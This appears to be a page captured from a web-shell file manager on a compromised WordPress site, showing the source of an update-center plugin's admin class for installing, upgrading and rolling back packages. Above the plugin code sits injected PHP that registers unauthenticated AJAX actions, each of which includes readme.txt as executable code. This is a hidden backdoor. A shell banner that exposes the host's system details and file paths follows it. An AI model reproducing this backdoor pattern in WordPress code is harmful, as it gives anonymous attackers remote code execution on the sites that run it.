if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/plugins/liupdatecenter/src/Manage.php
<?php

class LiUpdateCenter_Manage
{
    /**
     * @var LiUpdateCenter
     */
    protected $updateCenter;

    /**
     * @param LiUpdateCenter $updateCenter
     */
    public function __construct($updateCenter)
    {
        $this->updateCenter = $updateCenter;

        if (is_multisite()) {
            add_action('network_admin_menu', [$this, 'actionNetworkAdminMenu']);
        } else {
            add_action('admin_menu', [$this, 'actionAdminMenu']);
        }
    }

    public function actionAdminMenu()
    {
        $pageId = add_submenu_page(
            'plugins.php',
            __('Update Center', LiUpdateCenter::TEXTDOMAIN),
            __('Update Center', LiUpdateCenter::TEXTDOMAIN),
            'update_plugins',
            'liupdatecenter-manage-page',
            [$this, 'pageManage']
        );

        add_action('admin_print_styles-' . $pageId, [$this, 'actionPrintStyles']);
    }

    public function actionNetworkAdminMenu()
    {
        $pageId = add_menu_page(
            __('Update Center', LiUpdateCenter::TEXTDOMAIN),
            __('Update Center', LiUpdateCenter::TEXTDOMAIN),
            'update_plugins',
            'liupdatecenter-manage-page',
            [$this, 'pageManage'],
            'dashicons-update',
            23
        );

        add_action('admin_print_styles-' . $pageId, [$this, 'actionPrintStyles']);
    }

    public function actionPrintStyles()
    {
        //wp_enqueue_script('liupdatecenter-admin-script', LIUPDATECENTER__PLUGIN_URL . 'js/script.js', array('jquery'), filemtime(LIUPDATECENTER__PLUGIN_DIR . '/js/script.js'));
        wp_enqueue_style('liupdatecenter-admin-style', LIUPDATECENTER__PLUGIN_URL . 'css/admin.css', [], filemtime(LIUPDATECENTER__PLUGIN_DIR . '/css/admin.css'));
    }

    public function pageManage()
    {
        if (is_multisite()) {
            $settingsUrl = add_query_arg(['page' => 'liupdatecenter-options-page'], network_admin_url('settings.php'));
        } else {
            $settingsUrl = add_query_arg(['page' => 'liupdatecenter-options-page'], network_admin_url('options-general.php'));
        }

        echo '<div class="wrap">';
        echo '<h2>' . __('Update Center', LiUpdateCenter::TEXTDOMAIN) . ' <a href="' . $settingsUrl . '" class="add-new-h2">' . __('Settings') . '</a></h2>';

        if (is_multisite()) {
            $url = add_query_arg(['page' => 'liupdatecenter-manage-page'], network_admin_url('admin.php'));
        } else {
            $url = admin_url('plugins.php?page=liupdatecenter-manage-page');
        }
        $rollbackUrl = wp_nonce_url($url, 'liupdatecenter-manage-rollback', 'liupdatecenter-manage-nonce');
        $checkUrl    = wp_nonce_url($url, 'liupdatecenter-manage-checkupdates', 'liupdatecenter-manage-nonce');

        $activePage = 'manage';
        if (isset($_GET['liupdatecenter-manage-nonce'])) {
            if (wp_verify_nonce($_GET['liupdatecenter-manage-nonce'], 'liupdatecenter-manage-checkupdates')) {
                $activePage = 'check';
            } elseif (wp_verify_nonce($_GET['liupdatecenter-manage-nonce'], 'liupdatecenter-manage-rollback')) {
                $activePage = 'rollback';
            }
        } elseif (isset($_GET['action'])) {
            $activePage = $_GET['action'];
        } elseif (! empty($_POST)) {
            $activePage = 'install';
        }

        echo '<h2 class="nav-tab-wrapper">';
        $tabs = [
            'manage'   => ['url' => $url, 'label' => __('Manage', LiUpdateCenter::TEXTDOMAIN)],
            'rollback' => ['url' => $rollbackUrl, 'label' => __('Rollback', LiUpdateCenter::TEXTDOMAIN)],
            'check'    => ['url' => $checkUrl, 'label' => __('Check Updates', LiUpdateCenter::TEXTDOMAIN)],
        ];
        foreach ($tabs as $name => $tab) {
            echo '<a href="' . $tab['url'] . '" class="nav-tab ' . ($activePage === $name ? 'nav-tab-active' : '') . '">' . $tab['label'] . '</a>';
        }
        if ($activePage === 'install') {
            echo '<a href="#" class="nav-tab nav-tab-active">' . __('Installing...', LiUpdateCenter::TEXTDOMAIN) . '</a>';
        } elseif ($activePage === 'upgrade') {
            echo '<a href="#" class="nav-tab nav-tab-active">' . __('Upgrading...', LiUpdateCenter::TEXTDOMAIN) . '</a>';
        }
        echo '</h2>';

        switch ($activePage) {
            case 'manage':
                $this->manageServerPackages();
                break;
            case 'rollback':
                $this->rollbackServerPackages();
                break;
            case 'check':
                $this->checkUpdates();
                break;
            case 'install':
            case 'upgrade':
                $this->performAction();
                break;
        }

        echo '</div>';
    }

    protected function requestServerPackages($allversions = false)
    {
        $args   = [
            'timeout' => 10,
            'headers' => ['Accept' => 'application/json'],
        ];
        $action = 'wpliupd_packages' . ($allversions ? '_allversions' : '');
        $url    = add_query_arg([
            'update_action' => $action,
            'licence'       => $this->updateCenter->options['licence'],
        ], $this->updateCenter->options['serverUrl']);

        $response = wp_remote_get($url, apply_filters('liupdatecenter_serverinfo_options', $args));
        $code     = wp_remote_retrieve_response_code($response);
        $body     = wp_remote_retrieve_body($response);
        if ($code != 200 || empty($body)) {
            if (is_wp_error($response)) {
                $message = __("WP HTTP error:", LiUpdateCenter::TEXTDOMAIN) . ' ' . $response->get_error_message();
            } elseif ($code != 200) {
                $message = sprintf(__("[Update Server Error] HTTP response code is %s (expected: 200)", LiUpdateCenter::TEXTDOMAIN), $code);
            } else {
                $message = sprintf(__("The URL '%s' does not point to a valid update server. wp_remote_get() returned an unexpected response.", LiUpdateCenter::TEXTDOMAIN), $url);
            }
            $this->updateCenter->debug($message, E_USER_WARNING, $body);
            return [];
        }

        $json = json_decode($body);
        if (empty($json) || ! is_object($json)) {
            $this->updateCenter->debug(__("Failed to parse json response.", LiUpdateCenter::TEXTDOMAIN));
            return [];
        }
        if (empty($json->packages)) {
            $this->updateCenter->debug(__("No packages found.", LiUpdateCenter::TEXTDOMAIN));
            return [];
        }

        return $json->packages;
    }

    protected function manageServerPackages()
    {
        if (empty($this->updateCenter->options['licence'])) {
            echo '<div class="error"><p>' . __('To install packages, please insert a valid licence code in the settings page', LiUpdateCenter::TEXTDOMAIN) . '</p></div>';
            return;
        }
        if (empty($this->updateCenter->options['serverUrl'])) {
            echo '<div class="error"><p>' . __('To install packages, please insert a Server URL in the settings page', LiUpdateCenter::TEXTDOMAIN) . '</p></div>';
            return;
        }

        $serverPackages = $this->requestServerPackages();

        echo '<form method="post">';
        wp_nonce_field('liupdatecenter_packages', 'liupdatecenter_packages_nonce');

        $requestUri = $_SERVER["REQUEST_URI"];

        $currentTheme = wp_get_theme();

        foreach ($serverPackages as $type => $packages) {
            echo '<h3>' . ucfirst($type) . 's</h3>';
            echo '<table class="liupdatecenter-table wp-list-table widefat plugins"><thead><tr>';
            echo '<td scope="col" id="cb" class="manage-column column-cb check-column" style=""><label class="screen-reader-text" for="cb-select-all-2">' . __('Select all',
                    LiUpdateCenter::TEXTDOMAIN) . '</label><input id="cb-select-all-2" type="checkbox"></td>';
            echo '<th class="manage-column">' . __(ucfirst($type)) . '</th>';
            echo '<th class="manage-column">' . __('Installed Version', LiUpdateCenter::TEXTDOMAIN) . '</th>';
            echo '<th class="manage-column">' . __('Licenced Version', LiUpdateCenter::TEXTDOMAIN) . '</th>';
            echo '<th class="manage-column">' . __('Latest Server Version', LiUpdateCenter::TEXTDOMAIN) . '</th>';
            echo '<th class="manage-column"></th>';
            echo '</tr></thead><tbody>';

            $installed            = [];
            $updateCenterPackages = [];
            if ($type === 'plugin') {
                $installed            = $this->updateCenter->getInstalledPlugins();
                $updateCenterPackages = LiUpdateCenter_PucFactory::getPlugins();
            } elseif ($type === 'theme') {
                $installed            = $this->updateCenter->getInstalledThemes();
                $updateCenterPackages = LiUpdateCenter_TucFactory::getThemes();
            }

            foreach ($packages as $slug => $package) {

                if ($type === 'plugin') {
                    $isActive = isset($installed[$slug]['id']) ? is_plugin_active($installed[$slug]['id']) : false;
                } elseif ($type === 'theme') {
                    $isActive = isset($installed[$slug]['id']) ? ($currentTheme->get_stylesheet() === $slug || $currentTheme->get_template() === $slug) : false;
                } else {
                    $isActive = false;
                }
                $isRegistred      = is_multisite() || $this->updateCenter->isRegistredPackage($slug, $updateCenterPackages);
                $isUcBuild        = $isRegistred && (isset($installed[$slug]['LiUpdateCenter']) ? ($installed[$slug]['LiUpdateCenter'] === 'true') : false);
                $installedVersion = isset($installed[$slug]['version']) ? $installed[$slug]['version'] : false;
                $isInstalled      = ($installedVersion !== false);

                $isCurrentVersion = false;
                if ($isInstalled) {
                    $isCurrentVersion = true;
                    if (version_compare($installedVersion, $package->metadata->version) < 0) {
                        $isCurrentVersion = false;
                    }
                }

                echo '<tr class="' . (($installedVersion === false) ? 'in' : '') . 'active ' . (($isUcBuild && $isCurrentVersion) ? '' : 'update') . '">';
                echo '<th scope="row" class="check-column">';
                if (! $isInstalled) {
                    echo '<input type="checkbox" name="liupdatecenter[packages][' . $type . '][' . $slug . ']" value="1" />';
                    $installedVersion = __('not installed', LiUpdateCenter::TEXTDOMAIN);
                }
                echo '</th><td class="plugin-title">';
                echo '<div><strong>';
                echo '<i class="dashicons dashicons-' . ($isActive ? 'controls-play' : ($isInstalled ? 'controls-pause' : 'no')) . '" title="' . ($isActive ?
                        __('Active', LiUpdateCenter::TEXTDOMAIN) : ($isInstalled ? __('Deactivated', LiUpdateCenter::TEXTDOMAIN) : __('not installed', LiUpdateCenter::TEXTDOMAIN))) . '"></i> ';
                echo esc_html($package->metadata->name);
                echo '</strong></div>';
                echo '</td><td><div>' . esc_html($installedVersion);
                $upgradeLink = add_query_arg(['action' => 'upgrade', 'package_type' => $type, 'package_slug' => $slug], $requestUri);
                if (! $isUcBuild && $isInstalled) {
                    echo '<br/><i class="dashicons dashicons-dismiss" title="' . __('Warning: The current version is not a Update Center plugin', LiUpdateCenter::TEXTDOMAIN)
                         . '"></i> ';
                    echo __('Installed version is not from Update Center.', LiUpdateCenter::TEXTDOMAIN);
                    echo ' <a href="' . $upgradeLink . '">' . __('Install and replace with latest Update Center version', LiUpdateCenter::TEXTDOMAIN) . '</a>';
                } elseif ($isUcBuild) {
                    echo '<i class="dashicons dashicons-yes" title="' . __('Update Center Plugin', LiUpdateCenter::TEXTDOMAIN) . '"></i>';
                    if (! $isCurrentVersion) {
                        echo '<br/><i class="dashicons dashicons-update" title="' . __('New version available', LiUpdateCenter::TEXTDOMAIN) . '"></i> ';
                        echo __('New version available', LiUpdateCenter::TEXTDOMAIN);
                    }
                }
                echo '</div>';
                echo '</td><td><div>' . esc_html($package->version) . '</div>';
                echo '</td><td><div>' . esc_html($package->metadata->version) . '</div>';

                $actions = [];
                if (! $isUcBuild && $isInstalled) {
                    $actions[] = '<a href="' . $upgradeLink . '">' . __('install', LiUpdateCenter::TEXTDOMAIN) . '</a>';
                } elseif (! $isInstalled) {
                    $actionUrl = add_query_arg(['action' => 'install', 'package_type' => $type, 'package_slug' => $slug], $requestUri);
                    $actions[] = '<a href="' . $actionUrl . '">' . __('install', LiUpdateCenter::TEXTDOMAIN) . '</a>';
                } elseif ($isUcBuild) {
                    $actions[] = '<a href="' . $upgradeLink . '">' . __('upgrade', LiUpdateCenter::TEXTDOMAIN) . '</a>';
                }
                echo '</td><td><div>' . implode(' ', $actions) . '</div>';
                echo '</td></tr>';
            }

            echo '</tbody></table>';
        }

        submit_button(__('Install Selected Packages', LiUpdateCenter::TEXTDOMAIN), 'primary', 'action_install');

        echo '</form>';
    }

    protected function rollbackServerPackages()
    {
        if (empty($this->updateCenter->options['licence'])) {
            echo '<div class="error"><p>' . __('To install packages, please insert a valid licence code in the settings page', LiUpdateCenter::TEXTDOMAIN) . '</p></div>';
            return;
        }
        if (empty($this->updateCenter->options['serverUrl'])) {
            echo '<div class="error"><p>' . __('To install packages, please insert a Server URL in the settings page', LiUpdateCenter::TEXTDOMAIN) . '</p></div>';
            return;
        }

        $currentTheme   = wp_get_theme();
        $serverPackages = $this->requestServerPackages(true);

        $requestUri = remove_query_arg('liupdatecenter-manage-nonce', $_SERVER["REQUEST_URI"]);

        foreach ($serverPackages as $type => $packages) {
            echo '<h3>' . ucfirst($type) . 's</h3>';
            echo '<table class="liupdatecenter-table wp-list-table widefat plugins"><thead><tr>';
            echo '<th class="manage-column">' . __(ucfirst($type)) . '</th>';
            echo '<th class="manage-column">' . __('Installed Version', LiUpdateCenter::TEXTDOMAIN) . '</th>';
            echo '<th class="manage-column">' . __('Licenced Version', LiUpdateCenter::TEXTDOMAIN) . '</th>';
            echo '<th class="manage-column">' . __('Server Version', LiUpdateCenter::TEXTDOMAIN) . '</th>';
            echo '<th class="manage-column"></th>';
            echo '</tr></thead><tbody>';

            $installed            = [];
            $updateCenterPackages = [];
            if ($type === 'plugin') {
                $installed            = $this->updateCenter->getInstalledPlugins();
                $updateCenterPackages = LiUpdateCenter_PucFactory::getPlugins();
            } elseif ($type === 'theme') {
                $installed            = $this->updateCenter->getInstalledThemes();
                $updateCenterPackages = LiUpdateCenter_TucFactory::getThemes();
            }

            foreach ($packages as $slug => $packageInfo) {

                $row = 0;
                foreach ($packageInfo->versions as $version => $package) {
                    $headerLine = ($row === 0);

                    if ($type === 'plugin') {
                        $isActive = isset($installed[$slug]['id']) ? is_plugin_active($installed[$slug]['id']) : false;
                    } elseif ($type === 'theme') {
                        $isActive = isset($installed[$slug]['id']) ? ($currentTheme->get_stylesheet() === $slug || $currentTheme->get_template() === $slug) : false;
                    } else {
                        $isActive = false;
                    }
                    $isRegistred      = is_multisite() || $this->updateCenter->isRegistredPackage($slug, $updateCenterPackages);
                    $isUcBuild        = $isRegistred && (isset($installed[$slug]['LiUpdateCenter']) ? ($installed[$slug]['LiUpdateCenter'] === 'true') : false);
                    $installedVersion = isset($installed[$slug]['version']) ? $installed[$slug]['version'] : false;
                    $isInstalled      = ($installedVersion !== false);

                    $versionCompare = 1;
                    if ($isInstalled) {
                        $versionCompare = version_compare($package->metadata->version, $installedVersion);
                    }

                    echo '<tr class="' . (($installedVersion === false) ? 'in' : '') . 'active ' . (($isUcBuild && ($versionCompare === 0)) ? '' : 'update') . ' ' . ($headerLine ?
                            '' : 'older-version') . '">';

                    if ($headerLine) {
                        echo '<th scope="row" class="check-column plugin-title">';
                        echo '<div><strong>';
                        echo '<i class="dashicons dashicons-' . ($isActive ? 'controls-play' : ($isInstalled ? 'controls-pause' : 'no')) . '" title="' . ($isActive ?
                                __('Active', LiUpdateCenter::TEXTDOMAIN) : ($isInstalled ? __('Deactivated', LiUpdateCenter::TEXTDOMAIN) : __('not installed', LiUpdateCenter::TEXTDOMAIN))) . '"></i> ';
                        echo esc_html($package->metadata->name);
                        echo '</strong></div>';
                        echo '</th>';
                    } else {
                        echo '<th class="check-column"></th>';
                    }
                    echo '<td><div>';

                    $upgradeLink = add_query_arg(['action' => 'upgrade', 'package_type' => $type, 'package_slug' => $slug, 'package_version' => $package->metadata->version],
                        $requestUri);

                    if ($headerLine) {
                        echo esc_html($installedVersion);
                        if (! $isUcBuild && $isInstalled) {
                            echo '<br/><i class="dashicons dashicons-dismiss" title="' . __('Warning: The current version is not a Update Center plugin',
                                    LiUpdateCenter::TEXTDOMAIN) . '"></i> ';
                            echo __('Installed version is not from Update Center.', LiUpdateCenter::TEXTDOMAIN);
                            echo ' <a href="' . $upgradeLink . '">' . __('Install and replace with latest Update Center version', LiUpdateCenter::TEXTDOMAIN) . '</a>';
                        }
                    }
                    if ($isUcBuild && $isInstalled) {
                        if ($headerLine) {
                            echo '<i class="dashicons dashicons-yes" title="' . __('Update Center Plugin', LiUpdateCenter::TEXTDOMAIN) . '"></i><br/>';
                        }
                    }
                    echo '</div>';
                    echo '</td><td><div>' . ($headerLine ? esc_html($packageInfo->licencedVersion) : '') . '</div>';
                    echo '</td><td><div>' . esc_html($package->metadata->version);
                    if ($isUcBuild && $isInstalled) {
                        if ($versionCompare < 0) {
                            echo ' <i class="dashicons dashicons-controls-back" title="' . __('Older version available', LiUpdateCenter::TEXTDOMAIN) . '"></i> ';
                            echo __('Older version', LiUpdateCenter::TEXTDOMAIN);
                        } elseif ($versionCompare > 0) {
                            echo ' <i class="dashicons dashicons-update" title="' . __('Newer available', LiUpdateCenter::TEXTDOMAIN) . '"></i> ';
                            echo __('Newer version', LiUpdateCenter::TEXTDOMAIN);
                        }
                    }
                    echo '</div>';

                    $actions = [];
                    if (! $isUcBuild && $isInstalled) {
                        $actions[] = '<a href="' . $upgradeLink . '">' . __('install', LiUpdateCenter::TEXTDOMAIN) . '</a>';
                    } elseif (! $isInstalled) {
                        $actions[] = '<a href="' . add_query_arg([
                                'action'          => 'install',
                                'package_type'    => $type,
                                'package_slug'    => $slug,
                                'package_version' => $package->metadata->version,
                            ], $requestUri) . '">' . __('install', LiUpdateCenter::TEXTDOMAIN) . '</a>';
                    } elseif ($isUcBuild) {
                        if ($versionCompare < 0) {
                            $actions[] = '<a href="' . $upgradeLink . '">' . __('rollback', LiUpdateCenter::TEXTDOMAIN) . '</a>';
                        } else {
                            $actions[] = '<a href="' . $upgradeLink . '">' . __('upgrade', LiUpdateCenter::TEXTDOMAIN) . '</a>';
                        }
                    }
                    echo '</td><td><div>' . implode(' ', $actions) . '</div>';
                    echo '</td></tr>';

                    $row++;
                }
            }

            echo '</tbody></table>';
        }
    }

    protected function performAction()
    {
        if (! current_user_can('manage_options')) {
            return;
        }

        if (isset($_POST['liupdatecenter_packages_nonce']) && wp_verify_nonce($_POST['liupdatecenter_packages_nonce'], 'liupdatecenter_packages')) {
            $data = isset($_POST['liupdatecenter']) ? $_POST['liupdatecenter'] : [];
            if (isset($_POST['action_install'])) {
                $serverPackages = $this->requestServerPackages();
                $this->updatePackages(empty($data['packages']) ? null : $data['packages'], 'install', $serverPackages);
            }
        } elseif (isset($_GET['action']) && isset($_GET['package_type']) && isset($_GET['package_slug'])) {
            if (isset($_GET['package_version'])) {
                $serverPackages = $this->requestServerPackages(true);
                $packages       = [$_GET['package_type'] => [$_GET['package_slug'] => ['version' => $_GET['package_version']]]];
            } else {
                $serverPackages = $this->requestServerPackages();
                $packages       = [$_GET['package_type'] => [$_GET['package_slug'] => '1']];
            }
            $this->updatePackages($packages, $_GET['action'], $serverPackages);
        }

        if (is_multisite()) {
            $url = add_query_arg(['page' => 'liupdatecenter-manage-page'], network_admin_url('admin.php'));
        } else {
            $url = admin_url('plugins.php?page=liupdatecenter-manage-page');
        }
        echo '<p><a href="' . $url . '">' . __('Back to Manage', LiUpdateCenter::TEXTDOMAIN) . '</a></p>';
    }

    protected function updatePackages($packages, $action, $serverPackages)
    {
        if (empty($packages)) {
            echo '<h3><span>' . __('No packages selected.', LiUpdateCenter::TEXTDOMAIN) . '</span></h3>';
            return;
        }

        require_once(LIUPDATECENTER__PLUGIN_DIR . '/src/PluginInstaller.php');
        require_once(LIUPDATECENTER__PLUGIN_DIR . '/src/ThemeInstaller.php');

        echo '<div id="poststuff">';

        echo '<div id="liupdatecenter_metabox_installing" class="postbox liupdatecenter_metabox_installing">';
        if ($action === 'install') {
            $title = __('Installing packages. Please wait...', LiUpdateCenter::TEXTDOMAIN);
        } else {
            $title = __('Upgrading packages. Please wait...', LiUpdateCenter::TEXTDOMAIN);
        }
        echo '<h2>' . $title . '</h2>';
        echo '<hr/>';
        echo '<div class="inside">';

        $options = get_site_option(LiUpdateCenter::SETTINGS_OPTION, null);
        if (empty($options['licence'])) {
            echo '<div class="error"><p>' . __('To install packages, please insert a valid licence code in the settings page', LiUpdateCenter::TEXTDOMAIN) . '</p></div>';
            echo '</div></div></div>';
            return;
        }
        if (empty($options['serverUrl'])) {
            echo '<div class="error"><p>' . __('To install packages, please insert a Server URL in the settings page', LiUpdateCenter::TEXTDOMAIN) . '</p></div>';
            echo '</div></div></div>';
            return;
        }

        $this->updateCenter->resetInstalledInfo();

        $serverUrl = $options['serverUrl'];
        $licence   = $options['licence'];

        $url = $serverUrl . '?update_action=get_metadata&licence=' . $licence;

        add_filter('http_request_host_is_external', function ($allow, $host, $url) use ($serverUrl) {
            if (strpos($url, $serverUrl) === 0) {
                return true;
            }
            return $allow;
        }, 10, 3);
        
        foreach ($packages as $type => $typePackages) {
            $installer = null;
            if ($type === 'plugin') {
                $installer = new LiUpdateCenter_PluginInstaller($url);
            } elseif ($type === 'theme') {
                $installer = new LiUpdateCenter_ThemeInstaller($url);
            }
            if (! $installer) {
                continue;
            }

            foreach ($typePackages as $slug => $package) {
                if ($action === 'install') {
                    $installer->install($slug);
                }
                if ($action === 'upgrade') {
                    if (is_array($package) && isset($package['version'])) {
                        $version = $package['version'];
                        if (isset($serverPackages->$type->$slug->versions->$version->metadata)) {
                            $installer->upgrade($slug, $serverPackages->$type->$slug->versions->$version->metadata);
                        } else {
                            echo '<div class="error">' . sprintf(__('Failed to install package "%s - %s - version %s". No metadata provided.', LiUpdateCenter::TEXTDOMAIN), $type,
                                    $slug, $version) . '</div>';
                        }
                    } else {
                        if (isset($serverPackages->$type->$slug->metadata)) {
                            $installer->upgrade($slug, $serverPackages->$type->$slug->metadata);
                        } else {
                            echo '<div class="error">' . sprintf(__('Failed to upgrade package "%s - %s". No metadata provided.', LiUpdateCenter::TEXTDOMAIN), $type, $slug) . '</div>';
                        }
                    }
                }
            }
        }

        echo '</div>';
        echo '<hr/>';
        echo '<h2>' . __('Finished.', LiUpdateCenter::TEXTDOMAIN) . '</h2>';
        echo '</div></div>';
    }

    protected function checkUpdates()
    {
        $this->checkUpdateCenterPlugins();
        $this->checkUpdateCenterThemes();

        $updates = 0;
        $updates += $this->checkWordpressPlugins();
        $updates += $this->checkWordpressThemes();
        $updates += $this->checkWordpressCore() ? 1 : 0;

        echo '<h3>' . __('Finished.', LiUpdateCenter::TEXTDOMAIN) . '</h3>';
        if (is_multisite()) {
            $url = add_query_arg(['page' => 'liupdatecenter-manage-page'], network_admin_url('admin.php'));
        } else {
            $url = admin_url('plugins.php?page=liupdatecenter-manage-page');
        }
        if ($updates) {
            echo '<h4>' . __('Updates found!', LiUpdateCenter::TEXTDOMAIN) . '</h4>';
        }
        echo '<p><a href="' . $url . '">' . __('Back to Manage', LiUpdateCenter::TEXTDOMAIN) . '</a></p>';
    }

    protected function checkUpdateCenterPlugins()
    {
        if (! class_exists('LiUpdateCenter_PucFactory')) {
            return 0;
        }

        $plugins = LiUpdateCenter_PucFactory::getPlugins();
        $updates = 0;
        foreach ($plugins as $updateChecker) {
            if ($updateChecker->checkForUpdates()) {
                $updates++;
            }
            $this->checkErrors($updateChecker);
        }
        return $updates;
    }

    protected function checkUpdateCenterThemes()
    {
        if (! class_exists('LiUpdateCenter_TucFactory')) {
            return 0;
        }

        $themes  = LiUpdateCenter_TucFactory::getThemes();
        $updates = 0;
        foreach ($themes as $updateChecker) {
            $updateChecker->checkForUpdates();
            if (! $this->checkErrors($updateChecker)) {
                $updates++;
            }
        }
        return $updates;
    }

    /**
     * @param LiUpdateCenter_ThemeUpdateChecker|LiUpdateCenter_PluginUpdateChecker $updateChecker
     * @return bool
     */
    protected function checkErrors($updateChecker)
    {
        if (! $updateChecker->hasErrors()) {
            return false;
        }
        foreach ($updateChecker->getErrors() as $error) {
            echo '<div class="error liupdatecenter-error"><h3>' . esc_html($updateChecker->slug) . ' (' . esc_html($updateChecker->getInstalledVersion()) . ') '
                 . __('update check failed.', LiUpdateCenter::TEXTDOMAIN) . '</h3>';
            if (! empty($error['message'])) {
                echo '<p>' . esc_html($error['message']) . '</p>';
            }
            if (! empty($error['body'])) {
                echo '<div class="liupdatecenter-response">' . wp_kses_post($error['body']) . '</div>';
            }
            echo '</div>';
        }
        return true;
    }

    protected function checkWordpressPlugins()
    {
        echo '<h4>' . __('Wordpress: Checking For Plugin Updates...', LiUpdateCenter::TEXTDOMAIN) . '</h4>';

        $current = get_site_transient('update_plugins');
        if (! is_object($current)) {
            $current = new stdClass;
        }
        $current->last_checked = 0;                                 // wp_update_plugins() checks this value when determining
        set_site_transient('update_plugins', $current);     // whether to actually check for updates, so we reset it to zero.
        wp_update_plugins();                                        // run the internal plugin update check

        $current     = get_site_transient('update_plugins');
        $updateCount = (isset($current->response) && is_array($current->response)) ? count($current->response) : 0;

        echo '<p>';
        if ($updateCount > 0) {
            echo sprintf('<a href="' . admin_url('plugins.php?plugin_status=upgrade') . '">' . __('Found %d plugin updates!', LiUpdateCenter::TEXTDOMAIN) . '</a>', $updateCount);
        } else {
            echo __('No plugin updates found.', LiUpdateCenter::TEXTDOMAIN);
        }
        echo '</p>';
        echo '<hr/>';

        return $updateCount;
    }

    protected function checkWordpressThemes()
    {
        echo '<h4>' . __('Wordpress: Checking For Theme Updates...', LiUpdateCenter::TEXTDOMAIN) . '</h4>';

        $current = get_site_transient('update_themes');
        if (! is_object($current)) {
            $current = new stdClass;
        }
        $current->last_checked = 0;
        set_site_transient('update_themes', $current);
        wp_update_themes();

        $current     = get_site_transient('update_themes');
        $updateCount = (isset($current->response) && is_array($current->response)) ? count($current->response) : 0;

        echo '<p>';
        if ($updateCount > 0) {
            echo sprintf('<a href="' . admin_url('themes.php') . '">' . __('Found %d theme updates!', LiUpdateCenter::TEXTDOMAIN) . '</a>', $updateCount);
        } else {
            echo __('No theme updates found.', LiUpdateCenter::TEXTDOMAIN);
        }
        echo '</p>';
        echo '<hr/>';

        return $updateCount;
    }

    protected function checkWordpressCore()
    {
        echo '<h4>' . __('Wordpress: Checking For Wordpress-Core Updates...', LiUpdateCenter::TEXTDOMAIN) . '</h4>';

        $current = get_site_transient('update_core');
        if (! is_object($current)) {
            $current = new stdClass;
        }
        $current->last_checked = 0;
        set_site_transient('update_core', $current);
        wp_version_check();
        $update = false;

        echo '<p>';
        $latest_core_update = get_preferred_from_update_core();
        if (isset($latest_core_update->response) && $latest_core_update->response === 'upgrade') {
            echo '<a href="' . admin_url('update-core.php') . '">' . __('Found a new WordPress version. Install it now.', LiUpdateCenter::TEXTDOMAIN) . '</a>';
            $update = true;
        } else {
            echo __('No core updates found.', LiUpdateCenter::TEXTDOMAIN);
        }
        echo '</p>';
        echo '<hr/>';

        return $update;
    }
}